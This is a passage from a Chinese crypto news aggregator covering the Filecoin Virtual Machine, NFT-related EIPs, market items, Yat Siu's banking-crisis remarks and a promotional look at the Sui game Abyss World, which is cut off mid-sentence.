此外，部分Arbitrum用户可以获得的ARB代币最高空投数量是10,250枚，这意味着大约4,400个钱包可以接收到价值在6,500美元到20,600美元之间的ARB代币。  ( 4 min )
    FVM为何成为Filecoin用例创新的“杀手锏”？
    原文：《IOSG Weekly Brief｜FVM如何全方位解锁Filecoin创新用例？#166》 作者：Siddarth, IOSG Ventures Protocol Labs 提到了他们去中心化互联网的三个阶段计划： 1.建立世界上最大的去中心化存储网络。 2.引入并保护人文数据。 3.将检索和计算功能带到数据中，以构建可扩展的应用程序。 Filecoin 已经实现了第一步，成为拥有超过 661.54 PiB 数据存储的最大去中心化数据保管人。Filecoin 的存储市场在 2022 年第四季度继续增长，活跃交易增长了 117%，同比增长了 1,798%。 Filecoin 的下一步则是帮助引入并保护人文数据，这会是一个持续的过程。而要达到第三步，需要建立新的基础设施来帮助检索和计算数据，否则 Filecoin 只会成为全球各地存档数据的硬盘堆集。 这就有了Filecoin 虚拟机(FVM) 的诞生。通过将虚拟机集成到 Filecoin 协议中，开发人员可以创建基于 Filecoin 存储网络的去中心化应用程序（dApps），以安全可靠的方式执行智能合约，并可以在现有的 Filecoin 数据上创建附加价值层。 FVM 设计用于在 Filecoin 网络上执行智能合约。当部署智能合约时，它会被编译成 WASM 字节码。这使得开发人员可以创建行为符合不可变规则的有用应用程序，从而解锁各种用例，例如将 Filecoin 的所有市场引入链上、永久存储、DataDAOs 等。虽然所有这些都很好，但我们已经看到许多链在没有良好的开发者体验和缺乏开发者市场的情况下失败了。 Filecoin决定推出并支持FEVM。当一个EVM部署到FEVM时，它会被编译成WASM，并在FEVM中创建一个actor实例来运行EVM字节码。然后，用户定义的FEVM actor就能够通过内置的Market和Miner APIs与Filecoin网络进行交互。 这对于Filecoin来说是非常关键的一步，因为基于EVM的开发已经被证明具有良好的开发者体验，同时也有着庞大的现有开发者群体。通过为执行智能合约提供安全可靠的环境，Filecoin VM有助于释放Filecoin协议的全部潜力，为去中心化存储和计算带来新的创新应用场景。 虽然可以使用FVM构建许多不同的用例，但Protocol Labs和FVM团队提出了一份“Request for Startups”列表，他们认为这对于Filecoin生态的繁荣至关重要。以下是该列表中的几个重点： 据Protocol Labs表示，星号表示项目在Filecoin网络上存在的重要性。读者也许都注意到了对DataDAOs的反复提及，那么它们是什么，为什么重要呢？ “数据是新石油”的说法近几年一直在流传。世界上最大的互联网公司一直以来都认为数据是他们最有价值的资源，无论是内部使用（市场/用户见解），还是外部销售数据。为什么数据有价值？数据只有在能够生成见解的情况下才有价值，而要生成见解，就需要对数据本身进行计算和解析。 在当前的Filecoin状态下，将数据在链上变现是不可能的，因为存储协议是点对点的，交易是在链下进行的，而结算是在链上进行的。将数据变现需要基础设施来建立访问控制系统、订阅付款系统、数据增强、包装等。 这就是FVM可以解锁的，采用去中心化以社区为中心的模式。DataDAO是DAO的一种，其使命围绕着由利益相关者认为有价值的数据集的保护、生成、增强和推广。 DataDAO的每个利益相关者现在都可以通过各种不同的方式进行激励，SPs负责存储和保存，复制工作人员可以确保本地和快速的可用性，数据提供者现在可以获得对其任何数据的出售补偿，数据专家可以参与数据包装，ML工程师可以获得提供可在加密数据上运行的模型的补偿，从而增加数据的价值。 我们可以将数据视为一个价值谱系： 1.原始数据（最不具价值） 2.打包数据 3.数据计算 4.可验证见解（最有价值） 在FVM之前的状态下，原始数据和打包数据可以上传到Filecoin上，但无法在链上进行访问控制。现在可以使用FVM进行数据计算（例如，AI / ML模型、NFT创建等）。尽管在Filecoin的当前状态下，复杂和重型计算无法在链上运行，因为Filecoin节点目前没有足够的计算能力。这表明有一个明确的范围用于与Filecoin互操作的链下Dcompute平台。 像Bacalhau这样的解决方案致力于实现基于数据的计算，并且与Filecoin具有紧密的互操作性。 Bacalhau是一个相当新的项目，它可以使Filecoin网络变得更加有价值，因为它允许存储在Filecoin本身中的数据变得更有价值。 DataDAO在其初始状态下不需要涵盖完整的数据价值链。虽然这可能是DataDAO的最终目标，但有许多DataDAO已经开始在特定的垂直领域或用例中工作。一些著名的例子包括： ●Lagrange DAO: 一个用于数据价值实现和去中心化科学（DeSci）的DAO。它为DeSci提供了数据共享和分析空间。 ●GlacierDAO: 一个开放包含公众利益代码的Git存储库的复制的DAO。此外，它还允许用户将资金汇集在一起，以资助这些存储库在Filecoin网络上的复制。 ●SPN DAO: 一种DataDAO，使消费者能够将信用卡交易数据转化为资产，从而使他们能够直接控制其数据的使用和货币化。 虽然DataDAO目前集中于数据的收集和管理，但要提高价值链，将需要计算数据和DCompute基础设施。已经在这方面进行工作并专注于Filecoin的项目包括： ●Bacalhau：Bacalhau是一个平台，通过在生成和存储数据的地方运行作业，实现快速、高效和安全的计算。通过运行任意Docker容器和WebAssembly图像作为任务，用户可以简化现有的工作流程而无需进行大量大范围重写。 ●Shale：Shale正在努力将云计算带入Filecoin，使存储提供者能够利用现有的存储能力进行计算，并直接竞争其他云存储提供者，如AWS和Google Cloud。公共用户将有机会从存储提供者租用计算实例，并通过本地网络访问Filecoin+存储交易。这是一种类似于Akash Network和StackOS的解决方案，但它更加注重对Filecoin数据进行计算。 DataDAO是一个独特的用例，只有通过Filecoin网络才能以去中心化的方式端到端解锁。 Filecoin在早期阶段仅仅是一个存储协议，而一个不断发展的协议必然存在很多需要解决的问题，比如： 1.即使我的SP因未存储数据而被惩罚，我如何修复或检索我的数据？ 2.我有高质量的内容需要使用缓存层来交付我的分布式网站，而我与SP的所有交易都是离线进行的。 3.如果我有企业级数据，如何在Filecoin上对我的数据进行门禁控制？还有很多其他问题。 Filecoin正在努力解决这些问题，如FVM和Retrieval Markets。FVM解锁了在Filecoin上创建和激励数据复制的可能性，因此即使一个SP出现故障，数据也可以从其他节点检索或修复。 Retrieval Markets将有助于创建分散化CDN网络，这对于Web3社交和游戏项目非常有益。或可以使用FVM建立具有端到端数据加密的访问控制平台，Medusa这样的项目正在这个方向做出努力，同时还兼顾额外的与其他链的互操作层。 在像Filecoin这样的分布式数据存储系统中，对其进行计算有些困难，因为数据可能驻留在很远的许多不同节点中。聚合数据，然后对其进行计算会完全破坏去中心化存储系统的目的。 随着世界朝着在大型数据集上进行AI模型训练的方向发展，将大型数据集存储在Filecoin上具有巨大的经济价值（因为成本很低），但目前在这些系统上构建训练模型非常困难。 ChatGPT（GPT-3）是在一台具有1000个V100 GPU（每个GPU的运算速度约为147 TFLOPs）的计算机上训练的，平均成本约为1000万美元。 Stable Diffusion是在256个成本接近60万美元的A100 GPU上进行训练的。 这需要巨大的计算能力，而Filecoin节点的当前最低要求是8核GPU和128 GB RAM。单靠Filecoin无法应对我们生活在的计算密集型互联网时代。 解决这个问题的方法有两种： 1.通过使存储规定的最低计算要求非常高，使Filecoin成为计算强国。这不是一夜之间就能完成的转变。这必须是一个逐渐的过程。 2.将对Filecoin上的数据的计算外包给第三方Dcompute平台，例如Bacalhau和Shale（以Filecoin为中心）或其他解决方案，例如Akash Network、StackOS等。 另一个问题是，许多训练模型已经构建完成，如果需要将数据移植到Filecoin，计算网络还必须能够支持已经使用TensorFlow、Ray等构建的现有模型。 在短期内，笔者认为像Shale、Akash等去中心化云计算网络会在市场上胜出，因为部署容易，开发人员开销少，而在长期内，Filecoin也必须努力成为计算强国，通过升级现有资源或寻找更有效的去中心化计算方式。 Rex St.John在他的文章“Harvested Compute and Pervasive AI: The Protocol Labs Bull Thesis”中提出了一个更长远的解决方案，他建议Filecoin网络应该专注于使用RaspberryPi和Nvidia Jetson支持计算，这些单元的数量已经在市场上，可以更加一致地支持节点引导。  ( 5 min )
    Zilliqa将于4月25日在主网启动首个EVM完整兼容版本
    PANews 3月21日消息，据官方博客，Layer1区块链Zilliqa宣布将于4月25日在主网启动首个EVM完整兼容版本。用户将能够使用MetaMask等钱包传输本机ZIL，并使用Truffle和Hardhat等工具部署Solidity智能合约。 Zilliqa曾在2022年路线图中宣布计划支持EVM，并于2022年12月启动了EVM兼容性测试网，旨在为Zilliqa引入更广泛的区块链开发者社区。  ( 4 min )
    数据：某地址凌晨将1.6万枚ETH转入币安，并在Uniswap抛售4000枚ETH
    PANews 3月21日消息，据Lookonchain数据显示，某Smart Money地址于6小时前在Uniswap平台抛售4000枚ETH（约合700万美元），同时将1.6万枚ETH转入币安。目前该地址仍持有20,891枚ETH (约合3670万美元), 持仓均价为1,464美元。 据悉，该地址此前曾于7月5日从FTX提币10,597枚 ETH，当时均价为1120美元。于今年3月USDC脱锚时将4400万枚USDC兑换为27,957枚 ETH，当时均价为1573美元。  ( 4 min )
    研究19个EIP后，总结了NFT未来的9个方向
    撰文：Carol 编译：ChatGPT 校对：Cointime Will ERC-721是在2018年1月创建的，当时已经有了大量的NFT实验。没有人能预测它会引领NFT项目生态系统和释放NFT应用潜力。PFP和游戏NFT在2021年和2022年占据了主要舞台，我们对下一个阶段的NFT增长更加兴奋。随着对NFT的广泛关注，我们看到越来越多的创新和标准化措施出现，以进一步推动NFT发展。 在本文中，我们将分析最新的EIP并总结出NFT未来的9个方向。 我们一直在遵循一个NFT模型：每个NFT在元数据中都有一个所有者字段，代表它的唯一所有者。然而，单一所有者配置会导致使用NFT时缺乏灵活性。如果所有者想要出租NFT的实用性怎么办？如果发行人想要限制总量但仍然让其受众广泛地访问其服务呢？这就引导我们去考虑许可式的 NFT。 通过启用许可（我们指的是对NFT上权限的普遍化开放），一个NFT可以有一个所有者，但此外，它还可以拥有专门为潜在权利持有人、忠诚度授予者等而设立的字段。我们基本上可以将NFT的效用分成具体的部分，并让不同的参与者充分利用每个部分。 EIP-4400通过为非所有者创建权限，引入了NFT的消费者角色，使得他们可以享受给定NFT实例的好处。主要用例来自元宇宙：土地所有者可以授权消费者使用他们的土地。这暗示了利用额外角色在基于NFT的收益“农业”中启用租赁市场和质押用户关系的潜力。 EIP-4907提出了可租赁的NFT概念。它在ERC-721合约中包括用户字段和有效期字段，以便在一个NFT内实现细粒度的所有者受益关系。通过这种改进，人们可以轻松地将NFT出租或授予他人知识产权许可。在此EIP之前，持有者必须转移NFT才能启用租赁，并仔细计算所需的抵押品来保护自己的最终所有权。这种模式并不是最安全的，并导致NFT租赁市场表现得像期权市场：如果NFT价值大幅上涨，则借款人可以选择放弃抵押品并获得NFT上涨带来的好处。 EIP-5023创建了一个用于创建多个所有者共享的NFT（非同质化代币）的接口，即所谓的可共享NFT。当前的参考实现发出一个共享事件，这样基于给定的代币ID，可以铸造并转移给接收者一个新的代币。虽然实现并不接近完美，但它指向了一个未来：NFT的所有权可以细分到每个特性或功能。所有者可以共享NFT授予的相同部分或不同部分的权利。此外，它可以应对当前供需矛盾：NFT需要稀缺性和有限供应来稳定市场价格，然而，NFT本应让无限数量的人享受。有了可共享的NFT，像音乐NFT这样的应用程序可能既能保留价格上涨，又能通过共享功能让所有粉丝都能使用。 简而言之，我们期待在租赁市场上扩展允许NFT的权限、NFTfi的变种以及通过NFT分发粉丝产品。 除了在NFT的多个所有者和用户方面进行创新外，还迫切需要让一个人拥有多个NFT的捆绑功能。在游戏中，一系列资产可能具有远高于单个项目的价值或产出。在元宇宙中，人们可能希望在多元宇宙之间传送，同时仍然能够以兼容的格式访问他们的资产。如果NFT可以在ERC-721合约、应用程序和链之间组合，那么通过先进的NFTfi释放价值均衡将具有巨大的市场潜力。 EIP-5606提议实现多元宇宙NFT，实现在各种平台上将多个相关NFT作为单个资产的通用表示。它使用户能够捆绑和解绑任何NFT以满足收藏需求和实用性。它可以定义资产之间的关系以及它们的关联性质，以实现跨链和跨元宇宙的更好互操作性。 EIP-6059进一步将捆绑NFT的概念扩展为父级治理的可嵌套NFT，这在捆绑NFT中添加了一层关系层。它通过指定控制父NFT的EOA和所有子NFT的树形结构，提供了更清晰的捆绑。它可以支持捆绑、标准化集合、链上成员关系以及授权，以增强NFT收藏体验和NFT实用潜力。 EIP-6150提议实现层次化NFT，类似于操作系统中的文件系统。它在将NFT层次划分为层和子文件夹时提供更高的准确性。此外，它提议对每层的每个独立分区设置权限标准化，以实现对NFT权限的更好操作。 EIP-6220 创建可组合的 NFT，其可配备的部件带有固定和可定制的插槽。这将直接使 NFT 组合成一种资产，用于实用或交易。它可以支持游戏应用程序以标准化方式装备角色，或任何 dapps 使用组合 NFT 来创建新的用户体验或资产。 代币一直是投资者和早期支持者在项目中获得权益和回报的媒介。然而，拉高出货的计划多于支持生态系统健康发展的计划。项目很难使用加密原生方式来制定公平的方式来分配权益，或者通常任何人都很难在 ERC-721 中轻松创建渐进的所有权声明。归属 NFT 可以成为解决方案，它有很大的潜力扩展到丰富的应用程序中，将传统融资带到链上。 EIP-5725创建了一个可转让的权益NFT接口，随着时间的推移释放底层代币。这可能意味着NFT是权益代币的承载工具，或者NFT可以根据预定的曲线进行权益，以达到其最终使用价值。 EIP-5753提议为NFT增加一个可锁定扩展，以在锁定期间禁用代币转移。这可以在DeFi贷款或产量耕作中实现更安全的NFT质押。与将NFT存入外部合约不同，持有者可以选择在自己的账户下锁定NFT，以达到相同的效果，但协议风险远远降低，不会丢失NFT。 我们期待着NFT可以体现更多的金融结构，丰富整个区块链市场。 除了作为权益工具的潜力外，NFT还被用作支持游戏应用和俱乐部会员资格的实用工具。NFT实用性的潜力是什么？我们期待着无限数量的实用价值，这些价值继承了来自Web2的用户行为和特征。新的EIP被提议以支持NFT的实用价值。 EIP-5050建议NFT应通过动作消息和发现协议定义相互交互的方式。这可以使创作者不断与持有者互动，或者使游戏连接到其NFT角色。此外，它预示着NFT可能成为连接节点的潜力，让用户相互交互并将NFT用作电话或社交媒体。代币合约将被应用程序发现和使用，因此游戏和其他应用程序可以具有与NFT互动的层。 EIP-5643提议订阅NFT，将过期和循环付款计划嵌入活跃订阅中。这将为NFT发行者提供稳定的收入来源，而不是完全依赖交易中波动的忠诚费用。这意味着NFT创作者可以专注于与现有持有者共同开发可持续的商业模式，而不是专注于推动NFT和引发FOMO来赚取收入。此外，它还将帮助用户轻松管理订阅，并通过在早期支持有前景的项目来赚取NFT的资本收益。 绑定灵魂的代币和命名服务一直是链上身份展示的热门工具。两者都依赖于NFT来承载身份，并代表身份的独特特征和财产。EIP一直在增加对SBT及其生态系统的支持，同时我们期待zkID（保护隐私的链上身份）的技术堆栈在不久的将来准备就绪，并进入EIP的标准化流程。 SBT首次在EIP-4671中提议，以创建不可交易代币作为拥有和成就的证明。它被开发为由一个权威机构颁发的证书，无法撤销或转让。然而，EIP-4671并未成功成为以太坊标准，停滞不前。这并没有扼杀SBT的热情，反而在SBT领域启动了更直接的开发和EIP申请。 EIP-5192提议为绑定灵魂的NFT提供最小接口，以实现钱包中的SBT标准化。它呈现了通往SBT规范接口的最简单可能路径。这是ERC上当前有效的SBT标准。通过标准化，我们将看到更多开发人员使用SBT以及更多面向SBT的应用程序和实用程序的创作。 NFT目前依赖外部存储来承载PFP或其他媒体。这阻碍了通畅的互操作性，因为NFT可以在各种元宇宙和市场中显示和使用，而关联的文件可能有不同的格式或无法使用。我们认为NFT的未来将本身容纳更丰富的内容，以便在任何中介平台和多元宇宙上使用。 EIP-4955为NFT采用更丰富的内容迈出了第一步：供应商元数据扩展。它只是为NFT元数据添加了一个新字段，让供应商可以自由地存储特定应用的JSON，这样NFT市场和元数据就可以通过渲染自定义元数据来利用NFT。例如，元数据可以包括定制的3D展示或NFT的其他属性。 EIP-5489提议了一个超链接扩展，为所有NFT添加可点击功能，将用户引导至指定的网页。如果NFT成为Web3世界中主要的媒体和信息载体，NFT需要其他方式来附加比链上可能的更多内容。超链接标准是实现任何类型信息并轻松传播它们的一个很好的第一步。 EIP-5773为具有上下文相关资产类型的多资产代币指定了一个接口。每个NFT可以根据访问模式以相应的格式显示，例如PDF中的电子阅读器和游戏中的3D模型资产。不同上下文的各种资产直接嵌入到NFT中，可以创建更无缝、更充实的用户体验。 丰富的内容可以完全升级NFT的体验。它为NFT的用户体验创造了更大的表面积，可以带来更多创新和使用案例。 实现更广泛的区块链应用的一个重要步骤是能够将现实世界与链上世界相连接。数字-实物（Digi-physical）一直是一个热门术语，用来描述数字和实物体验及资产的结合。NFT是产品和服务数字-实物关系的一个有前途的载体。 EIP-4519提议了一个接口，通过NFT代表实物资产，并具有生成或恢复账户的能力。它将NFT与不同的实物资产关联起来，以实现与实物传感器和资产连接的应用。尽管还需要进一步努力将实物层完全融入链上加密方案，但该规范是NFT在实物资产中强劲未来的一个很好的指标。 EIP-5700涉及将代币绑定和跟踪到唯一资产，这可以创建有帮助的NFT捆绑实物资产。示例包括带有微芯片的服装或数字注册的房地产资产。该标准还通过支持ERC-721和ERC-1155合约的可绑定性，支持NFT的可组合性，从而支持唯一或非唯一的实物资产。 随着NFT中的权限、关系、权益、实用价值，NFT的估值和交换需要更加复杂，以体现市场对区分NFT各部分价值的需求。EIPs的进步和丰富表明，NFTFi的未来将在更多细节层面上发展，并需要付出更大努力以确保最流畅的用户体验。 我们认为，NFT的未来需要并促进更好的市场、交易选择和收益率农场算法的出现。 限制轨迹，构建IP，分层签名 最后，NFT可以成为其自身的实体。它可以作为钱包、身份或者通常为持有者的EOA。这可以限制一个人的链上轨迹，为NFT建立历史和声誉，并实现更进一步的NFT所有权结构。 EIP-6066为NFT标准化签名验证方法，以便轻松验证来自ERC-721和ERC-1155合约的签名。本质上，它将NFT的实用性从作为资产拥有，扩展到具有交互、支付和批准交易能力的EOA。NFT可以成为Web3世界中的管理者或角色，丰富当前的所有权体验。 我们可以想象，随着NFT可以作为主权链上实体建立，任何人都可以自由地建立NFT的IP。此外，通过使用关系或权限启用的EIP方案，用户可以创建分层签名或以全新的方式与NFT捆绑进行互动。 参考文献： EIP-4400: https://eips.ethereum.org/EIPS/eip-4400 EIP-4519: https://eips.ethereum.org/EIPS/eip-4519 EIP-4671: https://eips.ethereum.org/EIPS/eip-4671 EIP-4907: https://eips.ethereum.org/EIPS/eip-4907 EIP-4955: https://eips.ethereum.org/EIPS/eip-4955 EIP-5023: https://eips.ethereum.org/EIPS/eip-5023 EIP-5050: https://eips.ethereum.org/EIPS/eip-5050 EIP-5192: https://eips.ethereum.org/EIPS/eip-5192 EIP-5489: https://eips.ethereum.org/EIPS/eip-5489 EIP-5606: https://eips.ethereum.org/EIPS/eip-5606 EIP-5643: https://eips.ethereum.org/EIPS/eip-5643 EIP-5700: https://github.com/ethereum/EIPs/pull/5700 EIP-5725: https://eips.ethereum.org/EIPS/eip-5725 EIP-5753: https://eips.ethereum.org/EIPS/eip-5753 EIP-5773: https://eips.ethereum.org/EIPS/eip-5773 EIP-6059: https://eips.ethereum.org/EIPS/eip-6059 EIP-6066: https://eips.ethereum.org/EIPS/eip-6066 EIP-6150: https://eips.ethereum.org/EIPS/eip-6150 EIP-6220: https://eips.ethereum.org/EIPS/eip-6220  ( 4 min )
    Animoca Brands联创：加密货币正成为银行业危机中的“安全网”
    PANews 3月21日消息，据福布斯报道，Animoca Brands联合创始人Yat Siu认为，随着传统金融世界受到瑞士信贷动荡和一系列美国银行倒闭的冲击，波动较大的加密货币是一种相对安全的投资。Yat Siu周一在香港Web3投资峰会上通过视频连线表示：“如果你看看最近硅谷银行的整个发展情况，这显然令人震惊，而瑞信被瑞银收购……实际上，加密货币的情况完全不同，它实际上正在成为银行业危机中的安全网”。Siu说，“安全网”原来是比特币和以太坊，而不是稳定币，因为稳定币声称与法定货币挂钩，所以被认为是安全的。 Yat Siu在对福布斯的书面回应中表示：“有鉴于此（近日的美国银行倒闭事件），加密货币，特别是比特币和以太币，成为了有吸引力的保值替代方式，而且没有存在那些特定的传统银行风险。就在银行业危机凸显之际，这些加密货币取得了显著进展。这不是巧合。我认为，我们现在看到的是普通资金逃往一些加密货币。” 此外，Siu表示，尽管Animoca并未受到银行业危机的“直接影响”，但其投资组合中的380多家公司中的一些公司“会受到影响”。  ( 4 min )
    游玩为主，资产为辅，3A链游Abyss World将为Sui打响新公链叙事第一枪？
    2 月底，新公链中的孪生双子星 Sui 和 Aptos 打起了口水仗。Sui 的 CTO 在社媒上直指 Aptos 打压 Sui 及其生态中的开发者，限制他们参加相关会议活动。唇枪舌剑的背后，其实也反映出新公链都渴求差异化和有竞争力的优势来俘获用户和关注度。 对于 Sui 而言，这个竞争发力点，或许押注在了 Web3 游戏上。 3 月 8 日，Sui 背后的开发商 Mysten Labs 与腾讯云达成合作，其中重要合作方向之一就是 Gamefi。而在去年 11 月 Mysten Labs 完成的 1500 万美元融资中，领投方则来自韩国游戏巨头 NCSoft，筹资目的也包括将 Sui 打造成 Web3 游戏的基础设施。 Web3 游戏的叙事沉寂已久。当资金和基础设施的铺垫已就位，市场也在期待 Sui 上能否真正诞生杀手级的游戏应用。在此背景下，近期一款在传统游戏圈屡获曝光的游戏——Abyss World（深渊国度）名声大噪。 知名游戏媒体如 IGN 和 Fami 通等相继对其进行报道，而在主流游戏平台 Steam上，通过“愿望单”功能希望预约游玩这款游戏的玩家则超过了 7 万。同时目前游戏放出的实机试玩视频，也展现了相当高的完成度和接近 3A 的素质。 这种情况对于 Web3 游戏来说并不常见。毕竟大部分圈内游戏还在思考着如何“破圈”，而 Abyss World 却更像是墙内开花墙外香，在游戏尚未发布之时已收获了圈外的大量关注。更为重要的是，Mysten Labs 近期官宣了与 Abyss World 的合作关系，确定游戏内容将会基于 Sui 链来构建。 一个公链的脱颖而出，往往需要现象级应用的支撑。Abyss World 作为第一款 Mystenlabs 参与的 3A 游戏，能否成为 Sui 后发先至的王牌？其游戏设计和经济模型有哪些过人之处，用户目前又有哪些可以参与的空间？如果你也关注新公链和游戏赛道的机会，希望以下的分析将会对你有所帮助。 按照 Abyss World 官方的定义，游戏本身的类型是“开放世界 ARPG”。 这也就意味着，玩家亲自“探索”世界和“操作”角色，将成为重头戏。从公开资料和团队向我们透露的信息来看，Abyss World 更像是兼具《艾尔登法环》的画风、怪物猎人系列的动作元素、玩法上更偏向原神的开放世界游戏。 文字和图片无法完整描述 Abyss World 带来的感官体验，有兴趣的读者建议亲自观看官方放出的演示视频。在实际的试玩过程中，游戏很容易让人联想到传统的动作游戏——黑暗奇幻风格的场景设计、强调操作打斗的一招一式，兼具难度和爽快度。 但如果要简单定义 Abyss World，我们认为一个更贴切却又更简单的总结是：“真游戏”。 “真”，是指它更像是一款以高规格水准制作的、完整的、具备娱乐价值的游戏作品，拥有成熟的游戏世界观、操作反馈机制和探索体验。这些要素在传统游戏中被认为习以为常，但在 Crypto 的世界里却并不多见。 其一是成本考虑，构建此类作品需要大量的时间和资源；而另一个原因则在于这类游戏的实际玩法，似乎与“金融属性”没有太多的结合点。 常见的链游，本质上是套着游戏外皮的 DeFi——游戏只是手段，通过游戏攫取金融资产的收益才是目的，或者说是一种规则明确、没有多少娱乐空间的“挖矿程序”，这很流行，但并不意味着健康与可持续。 而Abyss World 目前所展现出的内容中， 游戏本身就是目的——在游玩中获得愉悦和满足，更接近游戏所创造的交互体验。 它更偏向玩家，但这种模式在 Web3 中是否可行？ 当我们讨论 Web3 游戏应该如何破圈以获得更多的用户时，常常是在用“由内而外”的思维在考虑问题：先获得圈内用户的认可，再逐渐衍生到更广阔的受众。Abyss World 这类游戏却很明显地在展现一种“由外而内”的路径。 产品首先面向主流游戏玩家，提供等同的游玩体验，随后再让主流用户意识到 Web3 游戏的好处，逐渐引导他们发现拥有一款游戏，实际上也可以在游玩之余创造经济机会。 这样的发展路径，对游戏质量是一种考验，更对开发者的节奏把控，尤其是否能在游玩的合适时间点引导用户接触加密资产提出了更高的要求。 从当前游戏的质量来看，Abyss World 表现不俗。于是下一个我们好奇的问题是，游戏的具体玩法设计是什么？又会如何引导玩家接触加密资产？ Abyss World 目前放出的实机演示更偏传统游戏的体验，其中似乎并没有透露出更多与 Web3 的结合点；但作为一款基于 Sui 开发的游戏，也必然涉及到了与Web3资产发生交互的部分。 想要理解这部分内容，有必要先了解总体的游戏设计。 Abyss World 的游戏世界采用了架空设计，玩家们会在一个名为“Nordinia”的世界中展开探索，也构成了游戏的第一类玩法：PVE。 玩家可以独自或组队在世界中进行探索，与敌人进行对战从而获得游戏内的积分/货币、装备和道具等，从而使用上述资源提升自己的能力，以持续进行更多的探索。 同时，在PVE中也能搜集到的名为“英雄灵魂”的资源，拥有不同的种类和能力，玩家可以对其进行训练和培养，从而解锁游戏的第二类玩法：PVP。 值得一提的是在玩家对战中，上述的“英雄灵魂” 拥有自己的AI算法 ，具备独立应对战斗情况的能力。玩家要做的是根据灵魂们的能力值和属性进行合理排兵布阵，随后英雄灵魂将会依照AI决策进行自动战斗。 在以上两类玩法中，可以明显看到对于资源的需求：玩家的装备需要升级，英雄灵魂也需要强化，也自然的引出了游戏与 Web3资产链接的方式 : PGC (玩家产生内容）。 玩家可以在游戏中的“Mint Factory”（铸造工厂）中，将平时在游玩中获得的装备和英雄灵魂等进行锻造和升级，进一步获得更好的能力值和属性，以提升游玩体验。按照目前的设计，这些锻造的装备/英雄灵魂等将会以 NFT 的形式出现，且玩家需要消耗在游戏中获得的链上/链下货币才能进行铸造。 虽然游戏目前没有完全展示这些功能，但考虑到和 Sui 的合作，我们预计游戏中的 NFT 资产铸造、交易和所有权更新等环节，都会交由链上处理，并利用 Sui Move 语言更好的打造动态 NFT；同时由于 Sui 链高性能低延迟的特性，游戏中涉及装备道具等高频交易的行为可以被很好的承接。 此外，游戏内也会预置一个 NFT 交易市场，玩家可以将铸造后的 NFT 进行出售以获取收益，也可以选择留下 NFT 进行新的游玩和探险。 据 Abyss World 开发团队透露，玩家们在一开始并不会直接接触到上述模块。在整个游戏的设计中，这种接触是循序渐进式的：游玩起初的体验与其他 Web2 游戏并无太大区别，在满足一定的游玩时间、等级和足够的了解后，才会在游戏内由独特游玩关卡引导解锁与资产铸造/交易相关的内容。 这样的设计则意味分层——在保证玩家体验到充足的游戏内容后，在某个临界点进行细分：希望休闲游玩的玩家可以保持现状来体验游戏原有的内容；而希望进一步体验资产的玩家，则可以选择按照引导来铸造更多的 NFT 道具，以获得更多在竞争中胜出的机会。 同时我们也了解到，游戏中的 token 奖励不会直接给到那些花了大量时间做简单任务的玩家，而是会赋予那些在 PVE 板块完成特殊任务的小队，或者登上排行榜的个人，还有那些赢得 PVP 竞技场赛季的胜利者。 从激励机制上可以清晰的看到 Abyss World 的游戏导向：通过 Web3 资产激励那些想“玩的更好”的人，并且资产效用服务于“更好的玩”。 当所有的资产设计都是在为游戏内容服务，获取资产的行为则变成了体验游戏内容的一种“辅助手段”，而非直接目的。当然任何的游戏生态内都存在职业打金者，这部分群体不可避免。但游戏总体的导向鼓励体验内容，有利于避免简单明确的“挖提卖”循环，不至于让金融属性侵蚀到游戏本身。 因此，游戏内容的质量和更新频率，反而成为了 Abyss World 后续能否长久抓住玩家的胜负手。 近期在 Abyss World 面向社区的答疑环节中，其背后的开发商 Metagame Industries 坦言游戏目前的开发成本在 300 万美金左右。在传统的 PC 和主机游戏领域，其投入金额也许只是轻量级；但对一款 Web3 游戏来说，将 300 万美金花在刀刃上去打磨游戏核心系统和体验，这样的投入并不是一笔小数目，也更像是一场诚实的冒险。 作为独立游戏开发者，往往并不具备知名大型游戏公司的财力和试错成本。而高品质游戏的制作则更像电影工业的模式，前期大量密集投入，后续靠卖票房来收回成本。 据 Metagame 透露，团队从 2020 年起，花了将近三年漫长的时间才完成了游戏的核心战斗系统和系统基础设施的构建，过程中也在自筹经费进行开发。但在 Web3 里，一切结果都是未知。没有选择更容易模仿上线的套皮链游，而是砸钱投入去做游戏，这一点本身就有些冒险的意味。 好在市场给出了认同和回应。1 月 3 日，游戏得到了微软 for Startups 项目的支持，使其能够获得的包括微软云的使用额度、OpenAI 服务、技术支持和业务开发上的资源，这对于游戏中的 AI 战斗模式以及降低玩家硬件门槛的云游戏模式来说，都是一种专业对口式的补强； 同时，Abyss World 也得到 AMD、EPIC GAMES 和微软等游戏巨头的青睐，Abyss World 连同《战神》等 3A 巨作同时获得了 AMD 的 FSR2.0 的一种为游戏增强体验的技术支持。据悉，和微软官方合作的新闻也将会在近期发布。 科技和游戏行业巨头的资源扶持，一方面给了游戏开发更多的信心，但更多的则反映出业界对于探索高质量 Web3 游戏的认可。 而除了外界的认可，Metagame Industries 团队成员也向我们透露， 独立游戏开发商选择打造 Web3 游戏的自洽之处在于：传统游戏行业的模式是，3A 游戏发行商提供给开发者完成一款游戏的经济支持，并攫取大部分利润。在这样的模式中，开发商是食物链顶端，他决定了什么样的游戏可以得到支持。开发团队掌控的除非是一款超高流量的 IP 作品，否则可能不会创造巨大的盈利。 但由于游戏是自上而下设计的系统，以开发团队为中心，与所有人（玩家、投资人）平衡关系，则可以保证更长期稳定的发展。 Web3 中的经济设计可以被视为一个纽带，去连接投资者、开发团队和玩家。如果游戏中有代币良好的效用设计，可以让投资者（及有金融诉求者）不直接影响游戏内的经济平衡，玩家更好的体验游戏本身的内容，而团队则可以更加专注在游戏内容的开发上。 显然， Abyss World 正在进行这种尝试，试图改变传统游戏的发行逻辑和参与者关系。当业界公司逐渐认可游戏时，下一个问题是：如何更好地让用户参与并认可？ 在 Web3 的玩法里，NFT 是吸引用户早期参与项目的关键选项。Abyss World 在 3 月 23 日将开启首批创世 NFT Gazer 系列的售卖活动。 该系列的第一批总量为 2100 个，稀有度分为 4 个等级，由游戏中各类英雄造型组成，玩家近期可以在 Abyss World 官网进行 Mint，同时 Discord 社区依然还有获取白名单任务的机会。 从项目介绍中可以看到，这些 NFT 并不是单纯的小图片，而是与游戏内的权益和功能进行了绑定：持有 NFT 的玩家可以在游戏内分享潜在收入、获得更多的稀有道具和皮肤，以及抢先得到游戏的内测资格。以传统游戏做类比，这种 NFT 则更像是游戏中的月卡或是 VIP，持有所产生的收益全部蕴含在游戏本身的价值中。 此外，由于有着和 Mysten Labs 的深度合作，NFT 除了绑定 Abyss World 的游戏原生代币 AWT，也有绑定 Sui 代币空投的权益，可谓是目前 Sui 